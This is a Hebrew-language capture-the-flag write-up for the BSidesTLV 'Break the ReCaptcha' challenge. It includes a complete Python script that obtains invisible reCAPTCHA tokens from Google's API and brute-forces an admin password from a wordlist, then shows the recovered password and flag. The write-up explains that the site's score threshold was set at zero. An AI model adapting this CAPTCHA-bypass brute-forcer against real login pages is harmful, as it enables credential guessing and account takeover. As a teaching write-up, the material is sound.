Break the ReCaptcha

תיאור

Break the ReCaptcha

פתרון

האתר כלל לוגין פשוט, מוגן על ידי ReCaptcha:

באמצעות כלי הפיתוח של הדפדפן, אפשר היה לראות מה קורה מאחורי הקלעים לאחר הכנסת שם משתמש וסיסמא:

רואים כאן קריאה ראשונית ל-anchor, ולאחר מכן קריאות חוזרות ל-reload ו-verify עבור כל ניסיון להכניס סיסמא. נראה היה ש-anchor מחזיר token שמועבר ל-reload, והוא מחזיר מידע שנשלח לאחר מכן ב-verify.

יצרנו סקריפט שמדמה את ההתנהגות הזו, ומנסה את כל הסיסמאות:

import requests
import json
import re


recaptcha_regex = re.compile(r'<input type="hidden" id="recaptcha-token" value="([^"]+)">')

def try_password(password):   
    s = requests.session()

    r = s.get("https://www.google.com/recaptcha/api2/anchor?ar=1&k=6Lfpb6QUAAAAAIitLDqVlxHB-EceE-d1ujb_6tVt&co=aHR0cDovL3JlY2FwdGNoYS5jaGFsbGVuZ2VzLmJzaWRlc3Rsdi5jb206ODA.&hl=en&v=v1561357937155&size=invisible")
    match = recaptcha_regex.search(r.text)
    if match is None:
        return None

    recaptcha_token = match.group(1)

    data = { "reason": "q", "c": recaptcha_token }

    r = s.post("https://www.google.com/recaptcha/api2/reload?k=6Lfpb6QUAAAAAIitLDqVlxHB-EceE-d1ujb_6tVt", data = data)

    text = r.text

    #https://stackoverflow.com/questions/35348234/recaptcha-gets-invalid-json-from-call-to-https-www-google-com-recaptcha-api2-u/36862268#36862268
    prefix = ")]}'"
    if text.startswith(prefix):
        text = text[len(prefix):]

    json_obj = json.loads(text)

    r = s.post("http://recaptcha.challenges.bsidestlv.com/verify", data = {"username": "admin", "password": password, "token": json_obj[1]})
    return r.text

with open("passwords.txt") as f:
    for line in f:
        password = line.rstrip()
        res = try_password(password)
        if res != "Username/Password invalid!":
            print (password)
            print (res)
            break

לאחר זמן מה, קיבלנו את הדגל:

root@kali:/media/sf_CTFs/bsidestlv/Break_the_ReCaptcha# python3 solve.py
brandon
BSidesTLV{D0ntF0rgetT0Ch3ckTh3Sc0r3!}

איך הצלחנו לעבוד כל כך בקלות על שירות אמיתי של CAPTCHA? לפי התיעוד של השירות, כל בקשה מקבלת ציון כלשהו שמעיד על הסיכוי שמדובר בבקשה של בוט. האחריות היא על האתר עצמו לקבוע את הסף שמתחתיו הבקשה תחסם, לפי שיקוליו. נראה שבמקרה שלנו, הסף היה אפסי ולכן גם בקשות של בוט מאוד לא מתוחכם לא נחסמו.